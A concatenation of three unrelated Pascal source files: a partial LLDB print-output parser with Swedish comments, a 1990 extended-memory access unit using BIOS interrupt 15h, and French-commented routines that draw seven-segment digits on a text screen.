scalarValue := tokenValue;
end;
kStringToken: // String (not ansistring)
begin
scalarValue := tokenValue;
end;
kInheritedToken: // <> = { } - CAN NOT BE HERE!
begin
WriteLn('<> IMPOSSIBLE inheritance! ', inheritedLevel);
GetToken(backTrace, pos, tokenType, tokenValue); // Skip the =
end;
kStartParenToken: // ( - array! Is this ONLY array of scalars?
begin
// Array of scalars or record of scalars:
// (SMALLINT [6]) A = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// Nej det Šr ta v. print Šr:
//(lldb) print A
//(SMALLINT [6]) $8 = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
//(lldb) print R
//(<anonymous struct>) $7 = (X = 0, Y = 0, Z = 0)
// Parse [nr]
// Parse =
// Parse up to ,
// until a ) is found or end of string.
while (pos < Length(backTrace)) do
begin
pos1 := pos;
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier
pos := pos1;
if tokenValue = '[' then
begin // array
while (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // [
SimpleParserGetToken(backTrace, pos, tokenType, indexString); // nr
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // ]
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // =
// Pick up info about what it is here?
// Read past entire value part. Save?
pos1 := pos;
while (tokenValue <> ',') and (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // value of scalar item or , or )
end;
tokenValue := Copy(backTrace, pos1, pos - pos1);
if Length(tokenValue) > 0 then
if tokenValue[Length(tokenValue)] in [')', ','] then
tokenValue := Copy(tokenValue, 1, Length(tokenValue)-1);
RemoveCR(tokenValue);
// Ej om lldb!
if indexString <> 'lldb' then
OutputVariable('', tokenValue, kUnknownToken);
// OutputVariable('['+indexString+']', tokenValue, kUnknownToken);
end;
end
else
begin // record
while (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, variableName); // identifier
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // =
// Pick up info about what it is here?
// Read past entire value part. Save?
pos1 := pos;
while (tokenValue <> ',') and (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // value of scalar item or , or )
end;
tokenValue := Copy(backTrace, pos1, pos - pos1);
if Length(tokenValue) > 0 then
if tokenValue[Length(tokenValue)] in [')', ','] then
tokenValue := Copy(tokenValue, 1, Length(tokenValue)-1);
RemoveCR(tokenValue);
if variableName <> '(' then
OutputVariable(variableName, tokenValue, kUnknownToken);
end;
end;
end;
end;
kStartBracketToken: // { array of arrays, array of records, records...
begin
// Possible cases:
// record of something.
// What about objects?
// Det Šr skillnad pŒ print och... Šr det andra nŠr man begŠr variabellistor?
// Som ta v. Jajamen! Men nŠstan samma! Borde kunna anvŠnda samma parser!
//(lldb) print AA
//(RECTYPE [4]) $6 = {
// [0] = (X = 0, Y = 0, Z = 0)
// [1] = (X = 0, Y = 0, Z = 0)
// [2] = (X = 0, Y = 0, Z = 0)
// [3] = (X = 0, Y = 0, Z = 0)
//}
//(lldb) print BB
//(SMALLINT [4][4]) $1 = {
// [0] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [1] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [2] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [3] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
//}
//(lldb) print AA
//(RECTYPE [4]) $2 = {
// [0] = (X = 0, Y = 0, Z = 0)
// [1] = (X = 0, Y = 0, Z = 0)
// [2] = (X = 0, Y = 0, Z = 0)
// [3] = (X = 0, Y = 0, Z = 0)
//}
// ta v etc ser ut sŒ hŠr:
// Array of arrays:
//(SMALLINT [4][4]) BB = {
// [0] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [1] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [2] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [3] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
//}
// Array of records:
// (RECTYPE [4]) AA = {
// [0] = (X = 0, Y = 0, Z = 0)
// [1] = (X = 0, Y = 0, Z = 0)
// [2] = (X = 0, Y = 0, Z = 0)
// [3] = (X = 0, Y = 0, Z = 0)
//}
// Parse [ or identifier
// If identifier
// repeat
// Parse =
// Parse value (can be arrays, records... watch out for sub-parenthesis)
// Parse , or }
// until }
//
// else
// If [
// Parse nr]
// Parse =
// Parse (
// Parse next item for [ or name to tell between array or record
// Parse up to )
// until a } is found or end of string.
pos1 := pos;
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier
pos := pos1;
if tokenValue = '[' then // array
begin
while pos < Length(backTrace) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // [
SimpleParserGetToken(backTrace, pos, tokenType, indexString); // index
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // ]
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // =
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // (
// SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier! - decides type
pos1 := pos;
while (tokenValue <> ')') and (pos < Length(backTrace)) do
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // parse until ,
tokenValue := Copy(backTrace, pos1, pos - pos1);
if Length(tokenValue) > 0 then
if tokenValue[Length(tokenValue)] = ')' then
tokenValue := Copy(tokenValue, 1, Length(tokenValue)-1);
RemoveCR(tokenValue);
if (indexString <> '') and (indexString <> '}') and (indexString <> '(') then
OutputVariable('['+indexString+']', tokenValue, kUnknownToken);
end;
end
else // record
begin
while pos < Length(backTrace) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, variableName); // name
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // =
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // (
// SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier! - decides type
pos1 := pos;
while (tokenValue <> ')') and (pos < Length(backTrace)) do
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // parse until ,
tokenValue := Copy(backTrace, pos1, pos - pos1);
if Length(tokenValue) > 0 then
if tokenValue[Length(tokenValue)] = ')' then
tokenValue := Copy(tokenValue, 1, Length(tokenValue)-1);
RemoveCR(tokenValue);
if (variableName <> '') and (variableName <> '}') then
OutputVariable(variableName, tokenValue, kUnknownToken);
end;
end;
end;
otherwise
WriteLn('ERROR, can not parse variable');
end; // case
// Output
// array of array of somedatarecord
end; // ParsePrintLLDB
procedure ParsePrintLLDBOLD(backTrace: AnsiString;
var outArr: OutArrType;
var scalarValue: AnsiString);
var
pos, tokenType, i: Longint;
tokenValue, tokenValue2, variableName, indexString: AnsiString;
currentFrame: Longint;
oldpos, oldbracketlevel: Longint;
// procedure CleanLLDBPrint(var s: AnsiString); // Obsolete
// var
// pos, tokenStart, tokenEnd, tokenType, start: Longint;
// tokenValue, typeString: AnsiString;
// const
// CR = Char(13);
// LF = Char(10);
// TAB = Char(9);
// begin
// // Remove (TYPE)
// // Remove $nn =
// pos := 1;
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue); // (
//// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// if tokenValue <> '(' then exit;
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, typeString); // type
//// WriteLn('CleanLLDBPrint found "', typeString, '"');
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue); // )
//// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// if tokenValue <> ')' then exit;
// // $nr = should NOT be removed... ParsePrint expects it!
// (*
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue); // $nr
// // Or two? One for $ and one for numbers?
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue);
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// if tokenValue <> '=' then exit(CleanLLDBPrint);
// *)
// start := pos+1;
// // Find CR
// while (pos < Length(s)) and not (s[pos] in [CR, LF]) do pos += 1;
// s := Copy(s, start, pos-start);
// // Then beautify numbers if needed. Too early?
// // BeautifyValue(s);
// end;
procedure OutputVariable(variableName, tokenValue: AnsiString; typeId: Longint);
begin
SetLength(outArr, Length(outArr)+1);
outArr[High(outArr)].name := variableName;
outArr[High(outArr)].value := tokenValue;
outArr[High(outArr)].typeId := typeId;
outArr[High(outArr)].frameNumber := currentFrame; // Irrelevant
WriteLn('Outputs "', variableName, '"');
end;
// $xx = ...
// SkalŠr: VŠrde
// AnsistrŠng: hex + vŠrde
// Array eller record: {}, parsa innehŒll till lista
// <>: Data under arv!
// Array och record i LLDB:
// (SMALLINT [6]) A = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// (<anonymous struct>) R = (X = 1, Y = 2, Z = 3)
// (<anonymous struct>) RR = {
// AA = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// BB = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
//}
// (€r dessa frŒn backtrace? Hur blir de med print?)
// Pekare: (RECTYPEPTR) $134 = 0x00000000
// SkalŠr: (SMALLINT) $135 = 0
// (REAL) $136 = 0
// medan under GDB, med print:
// (gdb) print r
// $1 = {
// X = 1,
// Y = 2,
// Z = 3
// }
// (gdb) print rr
// $2 = {
// AA = {0, 0, 0, 0, 0, 0},
// BB = {0, 0, 0, 0, 0, 0}
// }
// (gdb) print a
// $3 = {0, 0, 0, 0, 0, 0}
// SkalŠr:
// $1 = 0
// Pekare:
// $2 = 0x0
// Record:
// (gdb) print r
// $1 = {
// X = 1,
// Y = 2,
// Z = 3
// }
var
typeString: AnsiString;
pos1: Longint;
begin
currentFrame := 0;
bracketLevel := 0;
for i := 0 to 100 do
isInherited[i] := false;
// inheritedLevel := 0;
pos := 1;
SetLength(outArr, 0);
scalarValue := '';
// Get past (TYPE). Can be several word in ()!
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // (
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
if tokenValue <> '(' then exit;
SimpleParserGetToken(backTrace, pos, tokenType, typeString); // type
// WriteLn('CleanLLDBPrint found "', typeString, '"');
while (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // )
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
end;
if tokenValue <> ')' then exit;
// Use SimpleParser for this?
GetToken(backTrace, pos, tokenType, tokenValue); // $nr
GetToken(backTrace, pos, tokenType, tokenValue); // =
GetToken(backTrace, pos, tokenType, tokenValue); // { eller fšrsta token i skalŠr
// GetToken(backTrace, pos, tokenType, tokenValue); // CR
WriteLn('Efter start: ', bracketLevel, ',', inheritedLevel);
// tokenType can be:
// kNumToken: Numerical scalar
// kStringToken: String
// kHexToken: hex, pointer. Hex followed by string is AnsiString, but that is found by GetToken!
// kStartBracketToken ({):
// This seems not to be needed
if tokenType = kCRLFToken then
GetToken(backTrace, pos, tokenType, tokenValue);
case tokenType of // CASE pŒ start!
kHexToken: // Pointer
begin
scalarValue := tokenValue; // Beautify!
end;
kNumToken: // Scalar number
begin
scalarValue := tokenValue;
end;
kStringToken: // String (not ansistring)
begin
scalarValue := tokenValue;
end;
kInheritedToken: // <> = { } - CAN NOT BE HERE!
begin
WriteLn('<> IMPOSSIBLE inheritance! ', inheritedLevel);
GetToken(backTrace, pos, tokenType, tokenValue); // Skip the =
end;
kStartParenToken: // ( - array! Is this ONLY array of scalars?
begin
// Array of scalars or record of scalars:
// (SMALLINT [6]) A = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// Nej det Šr ta v. print Šr:
//(lldb) print A
//(SMALLINT [6]) $8 = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
//(lldb) print R
//(<anonymous struct>) $7 = (X = 0, Y = 0, Z = 0)
// Parse [nr]
// Parse =
// Parse up to ,
// until a ) is found or end of string.
while (pos < Length(backTrace)) do
begin
pos1 := pos;
GetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier
pos := pos1;
if tokenValue = '[' then
begin // array
while (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
GetToken(backTrace, pos, tokenType, tokenValue); // [
GetToken(backTrace, pos, tokenType, indexString); // nr
GetToken(backTrace, pos, tokenType, tokenValue); // ]
GetToken(backTrace, pos, tokenType, tokenValue); // =
// Pick up info about what it is here?
// Read past entire value part. Save?
pos1 := pos;
while (tokenValue <> ',') and (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
GetToken(backTrace, pos, tokenType, tokenValue); // value of scalar item or , or )
end;
tokenValue := Copy(backTrace, pos1, pos - pos1);
// OutputVariable('['+indexString+']', tokenValue, kUnknownToken);
OutputVariable('', tokenValue, kUnknownToken);
end;
end
else
begin // record
while (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
GetToken(backTrace, pos, tokenType, variableName); // identifier
GetToken(backTrace, pos, tokenType, tokenValue); // =
// Pick up info about what it is here?
// Read past entire value part. Save?
pos1 := pos;
while (tokenValue <> ',') and (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
GetToken(backTrace, pos, tokenType, tokenValue); // value of scalar item or , or )
end;
tokenValue := Copy(backTrace, pos1, pos - pos1);
OutputVariable(variableName, tokenValue, kUnknownToken);
end;
end;
end;
end;
kStartBracketToken: // { array of arrays, array of records, records...
begin
// Possible cases:
// record of something.
// What about objects?
// Det Šr skillnad pŒ print och... Šr det andra nŠr man begŠr variabellistor?
// Som ta v. Jajamen! Men nŠstan samma! Borde kunna anvŠnda samma parser!
//(lldb) print AA
//(RECTYPE [4]) $6 = {
// [0] = (X = 0, Y = 0, Z = 0)
// [1] = (X = 0, Y = 0, Z = 0)
// [2] = (X = 0, Y = 0, Z = 0)
// [3] = (X = 0, Y = 0, Z = 0)
//}
//(lldb) print BB
//(SMALLINT [4][4]) $1 = {
// [0] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [1] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [2] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [3] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
//}
//(lldb) print AA
//(RECTYPE [4]) $2 = {
// [0] = (X = 0, Y = 0, Z = 0)
// [1] = (X = 0, Y = 0, Z = 0)
// [2] = (X = 0, Y = 0, Z = 0)
// [3] = (X = 0, Y = 0, Z = 0)
//}
// ta v etc ser ut sŒ hŠr:
// Array of arrays:
//(SMALLINT [4][4]) BB = {
// [0] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [1] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [2] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
// [3] = ([0] = 0, [1] = 0, [2] = 0, [3] = 0)
//}
// Array of records:
// (RECTYPE [4]) AA = {
// [0] = (X = 0, Y = 0, Z = 0)
// [1] = (X = 0, Y = 0, Z = 0)
// [2] = (X = 0, Y = 0, Z = 0)
// [3] = (X = 0, Y = 0, Z = 0)
//}
// Parse [ or identifier
// If identifier
// repeat
// Parse =
// Parse value (can be arrays, records... watch out for sub-parenthesis)
// Parse , or }
// until }
//
// else
// If [
// Parse nr]
// Parse =
// Parse (
// Parse next item for [ or name to tell between array or record
// Parse up to )
// until a } is found or end of string.
pos1 := pos;
GetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier
pos := pos1;
if tokenValue = '[' then // array
begin
GetToken(backTrace, pos, tokenType, tokenValue); // [
GetToken(backTrace, pos, tokenType, indexString); // index
GetToken(backTrace, pos, tokenType, tokenValue); // ]
GetToken(backTrace, pos, tokenType, tokenValue); // =
GetToken(backTrace, pos, tokenType, tokenValue); // (
GetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier! - decides type
pos1 := pos;
while (tokenValue <> ')') and (pos < Length(backTrace)) do
GetToken(backTrace, pos, tokenType, tokenValue); // parse until ,
tokenValue := Copy(backTrace, pos1, pos - pos1);
// OutputVariable('['+indexString+']', tokenValue, kUnknownToken);
OutputVariable('', tokenValue, kUnknownToken);
end
else // record
begin
GetToken(backTrace, pos, tokenType, variableName); // name
GetToken(backTrace, pos, tokenType, tokenValue); // =
GetToken(backTrace, pos, tokenType, tokenValue); // (
GetToken(backTrace, pos, tokenType, tokenValue); // [ or identifier! - decides type
pos1 := pos;
while (tokenValue <> ')') and (pos < Length(backTrace)) do
GetToken(backTrace, pos, tokenType, tokenValue); // parse until ,
tokenValue := Copy(backTrace, pos1, pos - pos1);
OutputVariable(variableName, tokenValue, kUnknownToken);
end;
end;
otherwise
WriteLn('ERROR, can not parse variable');
end; // case
// Output
// array of array of somedatarecord
end; // ParsePrintLLDB
end.
|
(****************************************************************)
(* Programmname : EXTENDED.PAS V1.0 *)
(* Programmautor : Michael Rippl *)
(* Compiler : Quick Pascal V1.0 *)
(* Inhalt : Routinen fĀr Zugriff auf Extended Memory *)
(* Bemerkung : - *)
(* Letzte énderung : 13-Jun-1990 *)
(****************************************************************)
UNIT Extended;
INTERFACE
CONST ExtMemoryOk = 0; (* Speicher in Ordnung *)
ExtParityError = 1; (* ParitĄtsfehler *)
ExtGDTError = 2; (* GDT nicht in Ordnung *)
ExtProtectedError = 3; (* Fehler Protected Mode *)
VAR ExtMemAvail : BOOLEAN; (* Extended Memory da *)
ExtMemStart : LONGINT; (* Startadresse als 24 Bit *)
ExtMemSize : INTEGER; (* SpeichergrĒŠe in KB *)
ExtMemStatus : BYTE; (* Status des Speichers *)
(* Dies Prozedur wandelt Segment und Offset in 24 Bit Adresse um *)
FUNCTION AddressConvert(Address : POINTER) : LONGINT;
(* Diese Prozedur liest einen Speicherblock vom Extended Memory *)
PROCEDURE MemoryRead(Source : LONGINT; Target : POINTER; Length : WORD);
(* Diese Prozedur schreibt einen Speicherblock in das Extended Memory *)
PROCEDURE MemoryWrite(Source : POINTER; Target : LONGINT; Length : WORD);
IMPLEMENTATION
USES Dos; (* Units einbinden *)
TYPE SegmentDescriptor = RECORD (* Segment Beschreiber *)
Length, (* GrĒŠe des Segments *)
AddressLow : WORD;(* Bit 0 bis 15 Adresse *)
AddressHigh, (* Bit 16 bis 23 Adresse *)
Flag : BYTE;(* Zugriffscode *)
Reserved : WORD;(* Reserviert fĀr 80386 *)
END;
GlobalDescriptorTable = RECORD (* Globale Tabelle fĀr 286 *)
Dummy,
GDT,
Start,
Stop,
BiosCS,
Stack : SegmentDescriptor;
END;
LinearAddress = RECORD (* Zugriff auf 24 Adresse *)
Low : WORD; (* Bit 0 bis 15 *)
High, (* Bit 16 bis 23 *)
Dummy : BYTE; (* Platzhalter fĀr 32 Bit *)
END;
VAR BootSector : RECORD (* Boot Sektor von VDISK *)
Dummy1 : ARRAY [1..3] OF BYTE;
Name : ARRAY [1..8] OF CHAR;
BytesPerSector : WORD;
Dummy2 : ARRAY [1..6] OF BYTE;
NrOfSectors : WORD;
Dummy3 : BYTE; (* Gerade LĄnge von Record *)
END;
Regs : REGISTERS;
DoLoop : BOOLEAN;
(* Dies Prozedur wandelt Segment und Offset in 24 Bit Adresse um *)
FUNCTION AddressConvert(Address : POINTER) : LONGINT;
BEGIN
AddressConvert := LONGINT(Seg(Address^)) SHL 4 + Ofs(Address^);
END; (* AddressConvert *)
(* Diese Prozedur kopiert Speicherbereiche innerhalb der 16 MB des 80286 *)
FUNCTION MemoryCopy(Source, Target : LONGINT; Size : WORD) : BYTE;
VAR GDT : GlobalDescriptorTable;
Regs : REGISTERS;
BEGIN
FillChar(GDT, SizeOf(GDT), 0); (* Alle Werte auf Null *)
WITH GDT.Start DO (* Quelle initialisieren *)
BEGIN
Length := Size; (* GrĒŠe vom Speicherblock *)
AddressLow := LinearAddress(Source).Low; (* Bit 0 - 15 der Adresse *)
AddressHigh := LinearAddress(Source).High; (* Bit 16 - 23 der Adresse *)
Flag := $92; (* Zugriff Lesen/Schreiben *)
END;
WITH GDT.Stop DO (* Ziel initialisieren *)
BEGIN
Length := Size; (* GrĒŠe vom Speicherblock *)
AddressLow := LinearAddress(Target).Low; (* Bit 0 - 15 der Adresse *)
AddressHigh := LinearAddress(Target).High; (* Bit 16 - 23 der Adresse *)
Flag := $92; (* Zugriff Lesen/Schreiben *)
END;
Regs.AH := $87; (* Speicher kopieren *)
Regs.ES := Seg(GDT); (* Segmentadresse von GDT *)
Regs.SI := Ofs(GDT); (* Offsetadresse von GDT *)
Regs.CX := Size SHR 1; (* Zu kopierende Worte *)
Intr($15, Regs); (* Kassetten Interrupt *)
MemoryCopy := Regs.AH; (* Statuscode *)
END; (* MemoryCopy *)
(* Diese Prozedur liest einen Speicherblock vom Extended Memory *)
PROCEDURE MemoryRead(Source : LONGINT; Target : POINTER; Length : WORD);
BEGIN
ExtMemStatus := MemoryCopy(Source, AddressConvert(Target), Length);
END; (* MemoryRead *)
(* Diese Prozedur schreibt einen Speicherblock in das Extended Memory *)
PROCEDURE MemoryWrite(Source : POINTER; Target : LONGINT; Length : WORD);
BEGIN
ExtMemStatus := MemoryCopy(AddressConvert(Source), Target, Length);
END; (* MemoryWrite *)
BEGIN (* Initialisierung *)
ExtMemStatus := ExtMemoryOk; (* Speicherstatus ist Ok *)
Regs.AH := $88; (* GrĒŠe vom Extended Mem *)
Intr($15, Regs); (* Kassetten Interrupt *)
IF (Regs.Flags AND FCarry = FCarry) OR (Regs.AX = 0) THEN
BEGIN (* Kein Extended Memory *)
ExtMemAvail := FALSE;
ExtMemSize := 0;
ExtMemStart := 0;
END
ELSE (* Extended Mem vorhanden *)
BEGIN
ExtMemAvail := TRUE;
ExtMemSize := Regs.AX; (* GrĒŠe des Speichers *)
ExtMemStart := 1048576; (* Start bei 1 MB *)
DoLoop := TRUE; (* Schleife durchlaufen *)
REPEAT (* VDISK's suchen *)
MemoryRead(ExtMemStart, Addr(BootSector), SizeOf(BootSector));
WITH BootSector DO
BEGIN
IF (Name[1] = 'V') AND (Name[2] = 'D') AND (Name[3] = 'I') AND
(Name[4] = 'S') AND (Name[5] = 'K') THEN
Inc(ExtMemStart, LONGINT(BytesPerSector) * NrOfSectors)
ELSE DoLoop := FALSE;
END;
UNTIL NOT DoLoop;
Dec(ExtMemSize, INTEGER((ExtMemStart - 1048576) DIV LONGINT(1024)));
END;
END. (* Extended *)
|
(*
* En charge de l'impression de la reprentation binaire du nombre (en haut a droite de la fenˆtre)
* La r‚cursivit‚ n'est pas necessaire, juste un petit entraŒnement avant le developpement de la liste chain‚e.
* La r‚cursivit‚ s'arrete lorque l'index est inferieur a 0.
*
* Param Integer
* index : l'index auxquel on se trouve dans le tableau
*)
procedure printBinary(index : integer);
begin
if(index = size - 1) then
begin
gotoxy(58, 1);
write('Equivalent binaire : ');
end;
if(index >= 0) then
begin
write(T^[index]);
printBinary(index - 1);
end;
end;
(*
* Imprime un segment vertical (B, C, E, F).
*
* D‚tails du calcul de positionnement :
* x : correspond … la position du digit sur l'axe des absisses avant application du zoom
* y : correspond … la position du digit sur l'axe des ordonn‚es avant application du zoom
* xZoomEffect : si on est sur un segment … droite (B et C), le zoom du digit courant doit etre pris en compte
* ce qui n'est pas le cas des segments de gauche (D et E)
* yZoomEffect : l'effet du zoom n'est pas le meme selon que l'ont se trouve sur un segment du haut (B et F)
* ou du bas (C et E). Details suppl‚mentaires dans la fonction 'printVertical'
* it : valeur de la boucle pour, fait au minimum 3 tours (taille par default du digit) … quoi on ajoute le zoom
*
* Param : Integer
* x : position sur l'axe des absisses
* y : position sur l'axe des ordonnees
* xZoomEffect : effet du zoom sur l'axe des absisses
* yZoomEffect : effet du zoom sur l'axe des ordonnees
*)
procedure printVertical(x, y, xZoomEffect, yZoomEffect : integer);
var
it : integer;
begin
for it := 0 to 2 + zoom do
begin
gotoxy(x + xZoomEffect, y + it + yZoomEffect);
write('*');
end;
end;
(*
* Calcule les positions de d‚part des segments verticaux avant leurs impr‚ssions … l'‚cran (B, C, E, F)
*
* Details du calcul :
* xTotalOffset : le d‚calage minimum du digit avant application du zoom
* xOffset + index * 1 + index * 3 : xOffset est la valeur du d‚calage en absisse d‚finie par l'utilisateur.
* Ceux … quoi on ajoute l'index dans lequel on se trouve pour representer les espaces entre les chiffre.
* Exemple, le deuxieme digit aura un index de 1, donc ajoutera bien l'equivalent de 1 espace. index * 3
* r‚percute la taille par default des digit precedents.
* printVertical(5 + xTotalOffset, ...) : si l'on est sur un segment de droite, on ajoute 5 car l'affichage
* commence a 2 et le digit fait 3 de large avant application du zoom. Lorsque l'ont est a gauche la valeur
* est de 3.
* printVertical(..., 5 +yOffset , ..., ..., ...) : r‚percute le fait que si l'ont sur segment du haut, on se trouve au
* minimum en 5, tandis que si l'ont est en bas on se trouve au minimum en 7. A cela on ajoute le d‚calage
* en ordonn‚ sp‚cifi‚ par l'utilisateur
* printVertical(..., ..., (index + 1) * zoom, ...) : applique l'effet du zoom sur l'axe des absisse, si l'ont est …
* droite, le zoom du digit courant doit ˆtre appliquer, ce qui n'est pas le cas a gauche.
* printVertical(..., ..., ..., 0) : application du zoom sur les ordonn‚s. Celui ci n'a pas d'effet sur la position
* initiale quand on est sur un segment du haut. La position du segment du bas en revanche sera increment‚e
* la valeur du zoom
*
* Param String
* str : chaine de caractere contenant l'etat de tout les segments pour tout les digits
* Integer
* index : le digit sur lequel on se trouve, le premier digit aura l'index 0
*)
Procedure processVertical(var str : string; index : integer);
var
xTotalOffset : integer;
begin
xTotalOffset := xOffset + index * 1 + index * 3;
//B
if(StrToInt(str[2 + 7 * index]) = 1) Then
Begin
printVertical(5 + xTotalOffset, 5 + yOffset, (index + 1) * zoom, 0);
end;
//C
if(StrToInt(str[3 + 7 * index]) = 1) Then
Begin
printVertical(5 + xTotalOffset, 7 + yOffset, (index + 1) * zoom, zoom);
end;
//E
if(StrToInt(str[5 + 7 * index]) = 1) Then
Begin
printVertical(3 + xTotalOffset, 7 + yOffset, index * zoom, zoom);
end;
//F
if(StrToInt(str[6 + 7 * index]) = 1) Then
Begin
printVertical(3 + xTotalOffset, 5 + yOffset, index * zoom, 0);
end;
end;
(*
* Imprime un segment horizontal (A, D, G).
*
* D‚tails du calcul de positionnement :
* x : correspond … la position du digit sur l'axe des absisses avant application du zoom
* y : correspond … la position du digit sur l'axe des ordonn‚es avant application du zoom
* xZoomEffect : cette valeur est la mˆme pour tout les segments puisque ce sont tous des segments qui
* commence … gauche
* yZoomEffect : l'effet du zoom n'est pas le meme selon que l'ont se trouve sur le segment du haut (A)
* du milieu (G) ou du bas (D). Details suppl‚mentaires dans la fonction 'printHorizontal'
* it : valeur de la boucle pour, fait au minimum 3 tours (taille par default du digit) … quoi on ajoute le zoom
*
* Param : Integer
* x : position sur l'axe des absisses
* y : position sur l'axe des ordonnees
* xZoomEffect : effet du zoom sur l'axe des absisses
* yZoomEffect : effet du zoom sur l'axe des ordonnees
*)
procedure printHorizontal(x, y, xZoomEffect, yZoomEffect: integer);
var
it : integer;
begin
for it := 0 to 2 + zoom do
begin
gotoxy(x + it + xZoomEffect, y + yZoomEffect);
write('*');
end;
end;
(*
* Calcule les positions de d‚part des segments horizontaux avant leurs impr‚ssions … l'‚cran (A, D, G)
*
* Details du calcul :
* xTotalOffset : le d‚calage minimum du digit avant application du zoom
* xOffset + index * 1 + index * 3 + 3: xOffset est la valeur du d‚calage en absisse d‚finie par l'utilisateur.
* Ceux … quoi on ajoute l'index dans lequel on se trouve pour representer les espaces entre les chiffre.
* Exemple, le deuxieme digit aura un index de 1, donc ajoutera bien l'equivalent de 1 espace. index * 3
* r‚percute la taille par default des digit precedents. + 3 r‚percute le fait l'ecran commence au 3e pixel
* printHorizontal(xTotalOffset, ...) : la valeur est la mˆme pour tout les segments car ce sont des segments
* situ‚s … gauche
* printHorizontal(..., 5 +yOffset , ..., ..., ...) : r‚percute le fait que si l'ont le segment du haut (A), on se trouve au
* minimum en 5, du milieu (G) en 7, en bas (D) on se trouve au minimum en 9. A cela on ajoute le d‚calage
* en ordonn‚ sp‚cifi‚ par l'utilisateur
* printHorizontal(..., ..., (index + 1) * zoom, ...) : applique l'effet du zoom sur l'axe des absisse. La valeur est
* la mˆme pour tout les s‚gments car ils sont tous … gauche. On n'aura donc jamais … consid‚r‚ le zoom
* du digit courant.
* printHorizontal(..., ..., ..., 0) : application du zoom sur les ordonn‚s. Celui ci n'a pas d'effet sur la position
* initiale quand on est sur le segment du haut (A). La position du segment du milieu (G) en revanche sera
* increment‚e de la valeur du zoom, tandis que celui du bas (D) sera incr‚ment‚ de 2 fois le zoom
*
* Param String
* str : chaine de caractere contenant l'etat de tout les segments pour tout les digits
* Integer
* index : le digit sur lequel on se trouve, le premier digit aura l'index 0
*)
Procedure processHorizontal(var str : string; index : integer);
var
xTotalOffset : integer;
begin
xTotalOffset := xOffset + index * 1 + index * 3 + 3;
//A
if(StrToInt(str[1 + 7 * index]) = 1) Then
Begin
printHorizontal(xTotalOffset, 5 + yOffset, index * zoom, 0);
End;
//D
if(StrToInt(str[4 + 7 * index]) = 1) Then
Begin
printHorizontal(xTotalOffset, 9 + yOffset, index * zoom, zoom * 2);
End;
//G
if(StrToInt(str[7 + 7 * index]) = 1) Then
Begin
printHorizontal(xTotalOffset, 7 + yOffset, index * zoom, zoom);
End;
end;
(*
* Imprime le cadre … l'ecran (80 * 25)
*
* Param X
*)
procedure printScreen;
